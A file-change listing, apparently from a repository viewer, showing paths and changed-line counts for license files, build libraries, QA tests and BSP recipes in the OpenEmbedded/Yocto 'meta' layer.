-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO99
-rw-r--r--meta/files/common-licenses/CC-BY-NC-ND-4.0155
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-2.0-FR93
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-2.0-UK149
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-3.0-DE126
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO105
-rw-r--r--meta/files/common-licenses/CC-BY-NC-SA-4.0170
-rw-r--r--meta/files/common-licenses/CC-BY-ND-3.0-DE101
-rw-r--r--meta/files/common-licenses/CC-BY-ND-4.0154
-rw-r--r--meta/files/common-licenses/CC-BY-SA-2.0-UK147
-rw-r--r--meta/files/common-licenses/CC-BY-SA-2.1-JP83
-rw-r--r--meta/files/common-licenses/CC-BY-SA-3.0-AT139
-rw-r--r--meta/files/common-licenses/CC-BY-SA-3.0-DE136
-rw-r--r--meta/files/common-licenses/CC-PDDC8
-rw-r--r--meta/files/common-licenses/CDDL-1.1123
-rw-r--r--meta/files/common-licenses/CDL-1.053
-rw-r--r--meta/files/common-licenses/CDLA-Permissive-1.085
-rw-r--r--meta/files/common-licenses/CDLA-Permissive-2.035
-rw-r--r--meta/files/common-licenses/CDLA-Sharing-1.089
-rw-r--r--meta/files/common-licenses/CECILL-1.1229
-rw-r--r--meta/files/common-licenses/CECILL-2.1518
-rw-r--r--meta/files/common-licenses/CERN-OHL-1.147
-rw-r--r--meta/files/common-licenses/CERN-OHL-1.249
-rw-r--r--meta/files/common-licenses/CERN-OHL-P-2.0199
-rw-r--r--meta/files/common-licenses/CERN-OHL-S-2.0289
-rw-r--r--meta/files/common-licenses/CERN-OHL-W-2.0310
-rw-r--r--meta/files/common-licenses/CNRI-Jython12
-rw-r--r--meta/files/common-licenses/CNRI-Python25
-rw-r--r--meta/files/common-licenses/CNRI-Python-GPL-Compatible23
-rw-r--r--meta/files/common-licenses/CPOL-1.0298
-rw-r--r--meta/files/common-licenses/Caldera25
-rw-r--r--meta/files/common-licenses/Condor-1.140
-rw-r--r--meta/files/common-licenses/Crossword5
-rw-r--r--meta/files/common-licenses/CrystalStacker7
-rw-r--r--meta/files/common-licenses/Cube17
-rw-r--r--meta/files/common-licenses/D-FSL-1.0147
-rw-r--r--meta/files/common-licenses/DOC15
-rw-r--r--meta/files/common-licenses/DRL-1.012
-rw-r--r--meta/files/common-licenses/DSDP18
-rw-r--r--meta/files/common-licenses/Dotseqn5
-rw-r--r--meta/files/common-licenses/EPICS32
-rw-r--r--meta/files/common-licenses/EUPL-1.2190
-rw-r--r--meta/files/common-licenses/Eurosym18
-rw-r--r--meta/files/common-licenses/FSFAP1
-rw-r--r--meta/files/common-licenses/FSFUL3
-rw-r--r--meta/files/common-licenses/FSFULLR3
-rw-r--r--meta/files/common-licenses/FTL79
-rw-r--r--meta/files/common-licenses/FreeBSD-DOC23
-rw-r--r--meta/files/common-licenses/FreeImage117
-rw-r--r--meta/files/common-licenses/FreeType170
-rw-r--r--meta/files/common-licenses/GD24
-rw-r--r--meta/files/common-licenses/GFDL-1.1-invariants-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-invariants-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-no-invariants-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-no-invariants-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-only119
-rw-r--r--meta/files/common-licenses/GFDL-1.1-or-later119
-rw-r--r--meta/files/common-licenses/GFDL-1.2-invariants-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-invariants-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-no-invariants-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-no-invariants-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-only130
-rw-r--r--meta/files/common-licenses/GFDL-1.2-or-later130
-rw-r--r--meta/files/common-licenses/GFDL-1.3-invariants-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-invariants-or-later149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-no-invariants-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-no-invariants-or-later149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-only149
-rw-r--r--meta/files/common-licenses/GFDL-1.3-or-later149
-rw-r--r--meta/files/common-licenses/GL2PS13
-rw-r--r--meta/files/common-licenses/GLWTPL25
-rw-r--r--meta/files/common-licenses/GPL-1.0-only (renamed from meta/files/common-licenses/GPL-1.0)0
-rw-r--r--meta/files/common-licenses/GPL-1.0-or-later232
-rw-r--r--meta/files/common-licenses/GPL-2.0-only (renamed from meta/files/common-licenses/GPL-2.0)0
-rw-r--r--meta/files/common-licenses/GPL-2.0-or-later319
-rw-r--r--meta/files/common-licenses/GPL-3-with-bison-exception7
-rw-r--r--meta/files/common-licenses/GPL-3.0-only (renamed from meta/files/common-licenses/GPL-3.0)0
-rw-r--r--meta/files/common-licenses/GPL-3.0-or-later625
-rw-r--r--meta/files/common-licenses/Giftware9
-rw-r--r--meta/files/common-licenses/Glide95
-rw-r--r--meta/files/common-licenses/Glulxe3
-rw-r--r--meta/files/common-licenses/HPND-sell-variant19
-rw-r--r--meta/files/common-licenses/HTMLTIDY13
-rw-r--r--meta/files/common-licenses/HaskellReport6
-rw-r--r--meta/files/common-licenses/Hippocratic-2.133
-rw-r--r--meta/files/common-licenses/IBM-pibs8
-rw-r--r--meta/files/common-licenses/IJG38
-rw-r--r--meta/files/common-licenses/ImageMagick98
-rw-r--r--meta/files/common-licenses/Imlib29
-rw-r--r--meta/files/common-licenses/Info-ZIP16
-rw-r--r--meta/files/common-licenses/Intel105
-rw-r--r--meta/files/common-licenses/Intel-ACPI34
-rw-r--r--meta/files/common-licenses/Interbase-1.0199
-rw-r--r--meta/files/common-licenses/JPNIC40
-rw-r--r--meta/files/common-licenses/JSON11
-rw-r--r--meta/files/common-licenses/JasPer-2.017
-rw-r--r--meta/files/common-licenses/LAL-1.267
-rw-r--r--meta/files/common-licenses/LAL-1.388
-rw-r--r--meta/files/common-licenses/LGPL-2.0-only (renamed from meta/files/common-licenses/LGPL-2.0)0
-rw-r--r--meta/files/common-licenses/LGPL-2.0-or-later446
-rw-r--r--meta/files/common-licenses/LGPL-2.1-only (renamed from meta/files/common-licenses/LGPL-2.1)0
-rw-r--r--meta/files/common-licenses/LGPL-2.1-or-later468
-rw-r--r--meta/files/common-licenses/LGPL-3.0-only (renamed from meta/files/common-licenses/LGPL-3.0)0
-rw-r--r--meta/files/common-licenses/LGPL-3.0-or-later163
-rw-r--r--meta/files/common-licenses/LGPLLR89
-rw-r--r--meta/files/common-licenses/LPL-1.081
-rw-r--r--meta/files/common-licenses/LPPL-1.3a175
-rw-r--r--meta/files/common-licenses/Latex2e9
-rw-r--r--meta/files/common-licenses/Leptonica9
-rw-r--r--meta/files/common-licenses/LiLiQ-P-1.170
-rw-r--r--meta/files/common-licenses/LiLiQ-R-1.194
-rw-r--r--meta/files/common-licenses/LiLiQ-Rplus-1.188
-rw-r--r--meta/files/common-licenses/Linux-OpenIB18
-rw-r--r--meta/files/common-licenses/MIT-016
-rw-r--r--meta/files/common-licenses/MIT-CMU7
-rw-r--r--meta/files/common-licenses/MIT-Modern-Variant17
-rw-r--r--meta/files/common-licenses/MIT-advertising7
-rw-r--r--meta/files/common-licenses/MIT-enna9
-rw-r--r--meta/files/common-licenses/MIT-feh5
-rw-r--r--meta/files/common-licenses/MIT-open-group23
-rw-r--r--meta/files/common-licenses/MITNFA7
-rw-r--r--meta/files/common-licenses/MPL-2.0-no-copyleft-exception144
-rw-r--r--meta/files/common-licenses/MTLL24
-rw-r--r--meta/files/common-licenses/MakeIndex19
-rw-r--r--meta/files/common-licenses/MulanPSL-1.0116
-rw-r--r--meta/files/common-licenses/MulanPSL-2.0131
-rw-r--r--meta/files/common-licenses/Mup13
-rw-r--r--meta/files/common-licenses/NAIST-200370
-rw-r--r--meta/files/common-licenses/NBPL-1.059
-rw-r--r--meta/files/common-licenses/NCGL-UK-2.067
-rw-r--r--meta/files/common-licenses/NIST-PD15
-rw-r--r--meta/files/common-licenses/NIST-PD-fallback5
-rw-r--r--meta/files/common-licenses/NLOD-1.079
-rw-r--r--meta/files/common-licenses/NLOD-2.080
-rw-r--r--meta/files/common-licenses/NLPL14
-rw-r--r--meta/files/common-licenses/NOSL150
-rw-r--r--meta/files/common-licenses/NPL-1.0102
-rw-r--r--meta/files/common-licenses/NPL-1.1186
-rw-r--r--meta/files/common-licenses/NRL28
-rw-r--r--meta/files/common-licenses/NTP-05
-rw-r--r--meta/files/common-licenses/Nauman50
-rw-r--r--meta/files/common-licenses/Naumen21
-rw-r--r--meta/files/common-licenses/Net-SNMP107
-rw-r--r--meta/files/common-licenses/NetCDF7
-rw-r--r--meta/files/common-licenses/Newsletr7
-rw-r--r--meta/files/common-licenses/Noweb9
-rw-r--r--meta/files/common-licenses/O-UDA-1.047
-rw-r--r--meta/files/common-licenses/OCCT-PL112
-rw-r--r--meta/files/common-licenses/ODC-By-1.0195
-rw-r--r--meta/files/common-licenses/OFL-1.049
-rw-r--r--meta/files/common-licenses/OFL-1.0-RFN49
-rw-r--r--meta/files/common-licenses/OFL-1.0-no-RFN49
-rw-r--r--meta/files/common-licenses/OFL-1.1-RFN43
-rw-r--r--meta/files/common-licenses/OFL-1.1-no-RFN43
-rw-r--r--meta/files/common-licenses/OGC-1.017
-rw-r--r--meta/files/common-licenses/OGDL-Taiwan-1.0141
-rw-r--r--meta/files/common-licenses/OGL-Canada-2.051
-rw-r--r--meta/files/common-licenses/OGL-UK-1.069
-rw-r--r--meta/files/common-licenses/OGL-UK-2.072
-rw-r--r--meta/files/common-licenses/OGL-UK-3.069
-rw-r--r--meta/files/common-licenses/OLDAP-1.160
-rw-r--r--meta/files/common-licenses/OLDAP-1.260
-rw-r--r--meta/files/common-licenses/OLDAP-1.362
-rw-r--r--meta/files/common-licenses/OLDAP-1.462
-rw-r--r--meta/files/common-licenses/OLDAP-2.018
-rw-r--r--meta/files/common-licenses/OLDAP-2.0.118
-rw-r--r--meta/files/common-licenses/OLDAP-2.120
-rw-r--r--meta/files/common-licenses/OLDAP-2.222
-rw-r--r--meta/files/common-licenses/OLDAP-2.2.122
-rw-r--r--meta/files/common-licenses/OLDAP-2.2.224
-rw-r--r--meta/files/common-licenses/OLDAP-2.324
-rw-r--r--meta/files/common-licenses/OLDAP-2.422
-rw-r--r--meta/files/common-licenses/OLDAP-2.522
-rw-r--r--meta/files/common-licenses/OLDAP-2.620
-rw-r--r--meta/files/common-licenses/OLDAP-2.720
-rw-r--r--meta/files/common-licenses/OML5
-rw-r--r--meta/files/common-licenses/OPL-1.0136
-rw-r--r--meta/files/common-licenses/OPUBL-1.078
-rw-r--r--meta/files/common-licenses/OSET-PL-2.1161
-rw-r--r--meta/files/common-licenses/OSL-1.147
-rw-r--r--meta/files/common-licenses/OSL-2.147
-rw-r--r--meta/files/common-licenses/PDDL-1.0136
-rw-r--r--meta/files/common-licenses/PHP-3.0127
-rw-r--r--meta/files/common-licenses/PSF-2.049
-rw-r--r--meta/files/common-licenses/Parity-6.0.044
-rw-r--r--meta/files/common-licenses/Parity-7.0.071
-rw-r--r--meta/files/common-licenses/Plexus15
-rw-r--r--meta/files/common-licenses/PolyForm-Noncommercial-1.0.0131
-rw-r--r--meta/files/common-licenses/PolyForm-Small-Business-1.0.0121
-rw-r--r--meta/files/common-licenses/Qhull17
-rw-r--r--meta/files/common-licenses/RPL-1.1177
-rw-r--r--meta/files/common-licenses/RSA-MD9
-rw-r--r--meta/files/common-licenses/Rdisc13
-rw-r--r--meta/files/common-licenses/SCEA60
-rw-r--r--meta/files/common-licenses/SGI-B-1.082
-rw-r--r--meta/files/common-licenses/SGI-B-1.184
-rw-r--r--meta/files/common-licenses/SGI-B-2.012
-rw-r--r--meta/files/common-licenses/SHL-0.564
-rw-r--r--meta/files/common-licenses/SHL-0.5165
-rw-r--r--meta/files/common-licenses/SISSL116
-rw-r--r--meta/files/common-licenses/SISSL-1.2114
-rw-r--r--meta/files/common-licenses/SMLNJ7
-rw-r--r--meta/files/common-licenses/SMPPL29
-rw-r--r--meta/files/common-licenses/SNIA122
-rw-r--r--meta/files/common-licenses/SSH-OpenSSH67
-rw-r--r--meta/files/common-licenses/SSH-short5
-rw-r--r--meta/files/common-licenses/SSPL-1.0557
-rw-r--r--meta/files/common-licenses/SWL7
-rw-r--r--meta/files/common-licenses/Saxpath19
-rw-r--r--meta/files/common-licenses/Sendmail36
-rw-r--r--meta/files/common-licenses/Sendmail-8.2336
-rw-r--r--meta/files/common-licenses/SimPL-2.037
-rw-r--r--meta/files/common-licenses/Spencer-8611
-rw-r--r--meta/files/common-licenses/Spencer-9412
-rw-r--r--meta/files/common-licenses/Spencer-999
-rw-r--r--meta/files/common-licenses/TAPR-OHL-1.0266
-rw-r--r--meta/files/common-licenses/TCL9
-rw-r--r--meta/files/common-licenses/TCP-wrappers7
-rw-r--r--meta/files/common-licenses/TMate21
-rw-r--r--meta/files/common-licenses/TORQUE-1.125
-rw-r--r--meta/files/common-licenses/TOSL9
-rw-r--r--meta/files/common-licenses/TU-Berlin-1.010
-rw-r--r--meta/files/common-licenses/TU-Berlin-2.020
-rw-r--r--meta/files/common-licenses/UCL-1.048
-rw-r--r--meta/files/common-licenses/UPL-1.017
-rw-r--r--meta/files/common-licenses/Unicode-DFS-201519
-rw-r--r--meta/files/common-licenses/Unicode-DFS-201622
-rw-r--r--meta/files/common-licenses/Unicode-TOU51
-rw-r--r--meta/files/common-licenses/Unlicense24
-rw-r--r--meta/files/common-licenses/VOSTROM27
-rw-r--r--meta/files/common-licenses/Vim30
-rw-r--r--meta/files/common-licenses/W3C-1998072023
-rw-r--r--meta/files/common-licenses/W3C-2015051317
-rw-r--r--meta/files/common-licenses/WTFPL11
-rw-r--r--meta/files/common-licenses/Wsuipa5
-rw-r--r--meta/files/common-licenses/X1113
-rw-r--r--meta/files/common-licenses/XSkat10
-rw-r--r--meta/files/common-licenses/Xerox5
-rw-r--r--meta/files/common-licenses/YPL-1.047
-rw-r--r--meta/files/common-licenses/Zed3
-rw-r--r--meta/files/common-licenses/Zend-2.018
-rw-r--r--meta/files/common-licenses/Zimbra-1.447
-rw-r--r--meta/files/common-licenses/blessing5
-rw-r--r--meta/files/common-licenses/bzip2-1.0.443
-rw-r--r--meta/files/common-licenses/bzip2-1.0.518
-rw-r--r--meta/files/common-licenses/bzip2-1.0.6 (renamed from meta/files/common-licenses/bzip2)0
-rw-r--r--meta/files/common-licenses/copyleft-next-0.3.0219
-rw-r--r--meta/files/common-licenses/copyleft-next-0.3.1220
-rw-r--r--meta/files/common-licenses/curl10
-rw-r--r--meta/files/common-licenses/diffmark2
-rw-r--r--meta/files/common-licenses/dvipdfm1
-rw-r--r--meta/files/common-licenses/eGenix40
-rw-r--r--meta/files/common-licenses/etalab-2.0179
-rw-r--r--meta/files/common-licenses/gnuplot14
-rw-r--r--meta/files/common-licenses/iMatix39
-rw-r--r--meta/files/common-licenses/libpng-2.033
-rw-r--r--meta/files/common-licenses/libselinux-1.021
-rw-r--r--meta/files/common-licenses/libtiff8
-rw-r--r--meta/files/common-licenses/mpich218
-rw-r--r--meta/files/common-licenses/psfrag5
-rw-r--r--meta/files/common-licenses/psutils29
-rw-r--r--meta/files/common-licenses/tcl40
-rw-r--r--meta/files/common-licenses/vim81
-rw-r--r--meta/files/common-licenses/xinetd25
-rw-r--r--meta/files/common-licenses/xpp21
-rw-r--r--meta/files/common-licenses/zlib-acknowledgement15
-rw-r--r--meta/files/ext-sdk-prepare.py17
-rw-r--r--meta/files/fs-perms-persistent-log.txt2
-rw-r--r--meta/files/fs-perms.txt2
-rw-r--r--meta/files/overlayfs-all-overlays.service.in12
-rw-r--r--meta/files/overlayfs-create-dirs.service.in15
-rw-r--r--meta/files/overlayfs-etc-preinit.sh.in37
-rw-r--r--meta/files/overlayfs-unit.mount.in13
-rw-r--r--meta/files/ptest-perl/run-ptest2
-rw-r--r--meta/files/spdx-licenses.json5937
-rw-r--r--meta/files/toolchain-shar-extract.sh33
-rw-r--r--meta/files/toolchain-shar-relocate.sh13
-rw-r--r--meta/lib/bblayers/create.py6
-rw-r--r--meta/lib/bblayers/templates/example.bb4
-rw-r--r--meta/lib/bblayers/templates/layer.conf10
-rw-r--r--meta/lib/buildstats.py4
-rw-r--r--meta/lib/oe/buildhistory_analysis.py67
-rw-r--r--meta/lib/oe/classextend.py38
-rw-r--r--meta/lib/oe/copy_buildsystem.py18
-rw-r--r--meta/lib/oe/cve_check.py148
-rw-r--r--meta/lib/oe/distro_check.py2
-rw-r--r--meta/lib/oe/elf.py14
-rw-r--r--meta/lib/oe/gpg_sign.py27
-rw-r--r--meta/lib/oe/license.py54
-rw-r--r--meta/lib/oe/maketype.py7
-rw-r--r--meta/lib/oe/manifest.py148
-rw-r--r--meta/lib/oe/overlayfs.py48
-rw-r--r--meta/lib/oe/package.py42
-rw-r--r--meta/lib/oe/package_manager.py1853
-rw-r--r--meta/lib/oe/package_manager/__init__.py556
-rw-r--r--meta/lib/oe/package_manager/deb/__init__.py503
-rw-r--r--meta/lib/oe/package_manager/deb/manifest.py26
-rw-r--r--meta/lib/oe/package_manager/deb/rootfs.py210
-rw-r--r--meta/lib/oe/package_manager/deb/sdk.py100
-rw-r--r--meta/lib/oe/package_manager/ipk/__init__.py503
-rw-r--r--meta/lib/oe/package_manager/ipk/manifest.py74
-rw-r--r--meta/lib/oe/package_manager/ipk/rootfs.py350
-rw-r--r--meta/lib/oe/package_manager/ipk/sdk.py102
-rw-r--r--meta/lib/oe/package_manager/rpm/__init__.py410
-rw-r--r--meta/lib/oe/package_manager/rpm/manifest.py54
-rw-r--r--meta/lib/oe/package_manager/rpm/rootfs.py148
-rw-r--r--meta/lib/oe/package_manager/rpm/sdk.py114
-rw-r--r--meta/lib/oe/packagedata.py20
-rw-r--r--meta/lib/oe/packagegroup.py8
-rw-r--r--meta/lib/oe/patch.py50
-rw-r--r--meta/lib/oe/path.py45
-rw-r--r--meta/lib/oe/prservice.py92
-rw-r--r--meta/lib/oe/qa.py45
-rw-r--r--meta/lib/oe/recipeutils.py69
-rw-r--r--meta/lib/oe/reproducible.py192
-rw-r--r--meta/lib/oe/rootfs.py676
-rw-r--r--meta/lib/oe/rust.py5
-rw-r--r--meta/lib/oe/sbom.py78
-rw-r--r--meta/lib/oe/sdk.py304
-rw-r--r--meta/lib/oe/spdx.py342
-rw-r--r--meta/lib/oe/sstatesig.py212
-rw-r--r--meta/lib/oe/terminal.py30
-rw-r--r--meta/lib/oe/useradd.py2
-rw-r--r--meta/lib/oe/utils.py144
-rw-r--r--meta/lib/oeqa/buildperf/base.py2
-rw-r--r--meta/lib/oeqa/controllers/controllerimage.py199
-rw-r--r--meta/lib/oeqa/controllers/masterimage.py199
-rw-r--r--meta/lib/oeqa/core/case.py9
-rw-r--r--meta/lib/oeqa/core/context.py54
-rw-r--r--meta/lib/oeqa/core/decorator/data.py89
-rw-r--r--meta/lib/oeqa/core/decorator/oetimeout.py5
-rw-r--r--meta/lib/oeqa/core/loader.py2
-rw-r--r--meta/lib/oeqa/core/runner.py33
-rw-r--r--meta/lib/oeqa/core/target/qemu.py48
-rw-r--r--meta/lib/oeqa/core/target/ssh.py33
-rw-r--r--meta/lib/oeqa/core/tests/cases/timeout.py13
-rwxr-xr-xmeta/lib/oeqa/core/tests/test_data.py2
-rwxr-xr-xmeta/lib/oeqa/core/tests/test_decorators.py6
-rw-r--r--meta/lib/oeqa/core/utils/concurrencytest.py124
-rw-r--r--meta/lib/oeqa/files/buildhistory_filelist1.txt9214
-rw-r--r--meta/lib/oeqa/files/buildhistory_filelist2.txt9217
-rw-r--r--meta/lib/oeqa/files/testresults/testresults.json2
-rw-r--r--meta/lib/oeqa/manual/bsp-hw.json664
-rw-r--r--meta/lib/oeqa/manual/bsp-qemu.json222
-rw-r--r--meta/lib/oeqa/manual/build-appliance.json2
-rw-r--r--meta/lib/oeqa/manual/compliance-test.json76
-rw-r--r--meta/lib/oeqa/manual/eclipse-plugin.json12
-rw-r--r--meta/lib/oeqa/manual/oe-core.json80
-rw-r--r--meta/lib/oeqa/manual/sdk.json2
-rw-r--r--meta/lib/oeqa/manual/toaster-managed-mode.json16
-rw-r--r--meta/lib/oeqa/runtime/cases/apt.py6
-rw-r--r--meta/lib/oeqa/runtime/cases/boot.py33
-rw-r--r--meta/lib/oeqa/runtime/cases/buildcpio.py5
-rw-r--r--meta/lib/oeqa/runtime/cases/date.py13
-rw-r--r--meta/lib/oeqa/runtime/cases/df.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/dnf.py3
-rw-r--r--meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py36
-rw-r--r--meta/lib/oeqa/runtime/cases/go.py19
-rw-r--r--meta/lib/oeqa/runtime/cases/ksample.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/logrotate.py62
-rw-r--r--meta/lib/oeqa/runtime/cases/ltp.py9
-rw-r--r--meta/lib/oeqa/runtime/cases/ltp_stress.py98
-rw-r--r--meta/lib/oeqa/runtime/cases/multilib.py11
-rw-r--r--meta/lib/oeqa/runtime/cases/oe_syslog.py11
-rw-r--r--meta/lib/oeqa/runtime/cases/opkg.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/pam.py3
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs.py47
-rw-r--r--meta/lib/oeqa/runtime/cases/ping.py20
-rw-r--r--meta/lib/oeqa/runtime/cases/ptest.py34
-rw-r--r--meta/lib/oeqa/runtime/cases/rpm.py15
-rw-r--r--meta/lib/oeqa/runtime/cases/rtc.py38
-rw-r--r--meta/lib/oeqa/runtime/cases/runlevel.py22
-rw-r--r--meta/lib/oeqa/runtime/cases/rust.py19
-rw-r--r--meta/lib/oeqa/runtime/cases/skeletoninit.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/ssh.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/stap.py39
-rw-r--r--meta/lib/oeqa/runtime/cases/storage.py149
-rw-r--r--meta/lib/oeqa/runtime/cases/suspend.py33
-rw-r--r--meta/lib/oeqa/runtime/cases/terminal.py21
-rw-r--r--meta/lib/oeqa/runtime/cases/usb_hid.py22
-rw-r--r--meta/lib/oeqa/runtime/cases/weston.py79
-rw-r--r--meta/lib/oeqa/runtime/cases/x32lib.py17
-rw-r--r--meta/lib/oeqa/runtime/context.py40
-rw-r--r--meta/lib/oeqa/runtime/decorator/package.py38
-rw-r--r--meta/lib/oeqa/runtime/files/hello.stp1
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/README2
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/build.py30
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/gcc.py29
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/https.py20
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/sanity.py22
-rw-r--r--meta/lib/oeqa/sdk/case.py2
-rw-r--r--meta/lib/oeqa/sdk/cases/assimp.py2
-rw-r--r--meta/lib/oeqa/sdk/cases/buildcpio.py9
-rw-r--r--meta/lib/oeqa/sdk/cases/buildepoxy.py2
-rw-r--r--meta/lib/oeqa/sdk/cases/buildgalculator.py4
-rw-r--r--meta/lib/oeqa/sdk/cases/buildlzip.py2
-rw-r--r--meta/lib/oeqa/sdk/context.py2
-rw-r--r--meta/lib/oeqa/sdkext/cases/devtool.py6
-rw-r--r--meta/lib/oeqa/sdkext/testsdk.py14
-rw-r--r--meta/lib/oeqa/selftest/case.py30
-rw-r--r--meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/archiver.py210
-rw-r--r--meta/lib/oeqa/selftest/cases/bblayers.py5
-rw-r--r--meta/lib/oeqa/selftest/cases/bblogging.py186
-rw-r--r--meta/lib/oeqa/selftest/cases/bbtests.py82
-rw-r--r--meta/lib/oeqa/selftest/cases/buildoptions.py69
-rw-r--r--meta/lib/oeqa/selftest/cases/containerimage.py13
-rw-r--r--meta/lib/oeqa/selftest/cases/cve_check.py44
-rw-r--r--meta/lib/oeqa/selftest/cases/devtool.py241
-rw-r--r--meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt1
-rw-r--r--meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt1
-rw-r--r--meta/lib/oeqa/selftest/cases/distrodata.py71
-rw-r--r--meta/lib/oeqa/selftest/cases/eSDK.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/efibootpartition.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/fetch.py65
-rw-r--r--meta/lib/oeqa/selftest/cases/fitimage.py840
-rw-r--r--meta/lib/oeqa/selftest/cases/gcc.py20
-rw-r--r--meta/lib/oeqa/selftest/cases/glibc.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/gotoolchain.py21
-rw-r--r--meta/lib/oeqa/selftest/cases/image_typedep.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/imagefeatures.py70
-rw-r--r--meta/lib/oeqa/selftest/cases/incompatible_lic.py130
-rw-r--r--meta/lib/oeqa/selftest/cases/kerneldevelopment.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/layerappend.py10
-rw-r--r--meta/lib/oeqa/selftest/cases/lic_checksum.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/meta_ide.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/multiconfig.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/newlib.py11
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/buildhistory.py48
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/elf.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/license.py22
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/utils.py3
-rw-r--r--meta/lib/oeqa/selftest/cases/oescripts.py66
-rw-r--r--meta/lib/oeqa/selftest/cases/overlayfs.py423
-rw-r--r--meta/lib/oeqa/selftest/cases/package.py32
-rw-r--r--meta/lib/oeqa/selftest/cases/pkgdata.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/prservice.py8
-rw-r--r--meta/lib/oeqa/selftest/cases/pseudo.py27
-rw-r--r--meta/lib/oeqa/selftest/cases/recipetool.py318
-rw-r--r--meta/lib/oeqa/selftest/cases/recipeutils.py8
-rw-r--r--meta/lib/oeqa/selftest/cases/reproducible.py216
-rw-r--r--meta/lib/oeqa/selftest/cases/runcmd.py29
-rw-r--r--meta/lib/oeqa/selftest/cases/runqemu.py9
-rw-r--r--meta/lib/oeqa/selftest/cases/runtime_test.py264
-rw-r--r--meta/lib/oeqa/selftest/cases/signing.py16
-rw-r--r--meta/lib/oeqa/selftest/cases/sstate.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/sstatetests.py176
-rw-r--r--meta/lib/oeqa/selftest/cases/sysroot.py37
-rw-r--r--meta/lib/oeqa/selftest/cases/tinfoil.py28
-rw-r--r--meta/lib/oeqa/selftest/cases/wic.py629
-rw-r--r--meta/lib/oeqa/selftest/context.py153
-rw-r--r--meta/lib/oeqa/targetcontrol.py23
-rw-r--r--meta/lib/oeqa/utils/__init__.py20
-rw-r--r--meta/lib/oeqa/utils/buildproject.py3
-rw-r--r--meta/lib/oeqa/utils/commands.py37
-rw-r--r--meta/lib/oeqa/utils/dump.py51
-rw-r--r--meta/lib/oeqa/utils/httpserver.py4
-rw-r--r--meta/lib/oeqa/utils/logparser.py43
-rw-r--r--meta/lib/oeqa/utils/package_manager.py8
-rw-r--r--meta/lib/oeqa/utils/qemurunner.py254
-rw-r--r--meta/lib/oeqa/utils/qemutinyrunner.py8
-rw-r--r--meta/lib/oeqa/utils/sshcontrol.py2
-rw-r--r--meta/lib/oeqa/utils/targetbuild.py4
-rw-r--r--meta/recipes-bsp/acpid/acpid.inc12
-rw-r--r--meta/recipes-bsp/acpid/acpid_2.0.32.bb7
-rw-r--r--meta/recipes-bsp/acpid/acpid_2.0.33.bb6
-rw-r--r--meta/recipes-bsp/alsa-state/alsa-state.bb14
-rw-r--r--meta/recipes-bsp/apmd/apmd/libtool.patch22
-rw-r--r--meta/recipes-bsp/apmd/apmd_3.2.2-15.bb16
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr/0001-src-make-compatible-with-efivar-38.patch47
-rw-r--r--meta/recipes-bsp/efibootmgr/efibootmgr_17.bb10
-rw-r--r--meta/recipes-bsp/efivar/efivar/0001-docs-do-not-build-efisecdb-manpage.patch26
-rw-r--r--meta/recipes-bsp/efivar/efivar/0001-src-Makefile-build-util.c-separately-for-makeguids.patch38
-rw-r--r--meta/recipes-bsp/efivar/efivar/no-werror.patch18
-rw-r--r--meta/recipes-bsp/efivar/efivar_37.bb40
-rw-r--r--meta/recipes-bsp/efivar/efivar_38.bb40
-rwxr-xr-xmeta/recipes-bsp/formfactor/files/qemuppc64/machconfig10
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi_3.0.11.bb71
-rw-r--r--meta/recipes-bsp/gnu-efi/gnu-efi_3.0.14.bb70
-rw-r--r--meta/recipes-bsp/grub/files/0001-RISC-V-Restore-the-typcast-to-long.patch39
-rw-r--r--meta/recipes-bsp/grub/files/0001-configure.ac-Use-_zicsr_zifencei-extentions-on-riscv.patch47
-rw-r--r--meta/recipes-bsp/grub/files/CVE-2021-3981-grub-mkconfig-Restore-umask-for-the-grub.cfg.patch49
-rw-r--r--meta/recipes-bsp/grub/files/autogen.sh-exclude-pc.patch15
-rw-r--r--meta/recipes-bsp/grub/files/determinism.patch68
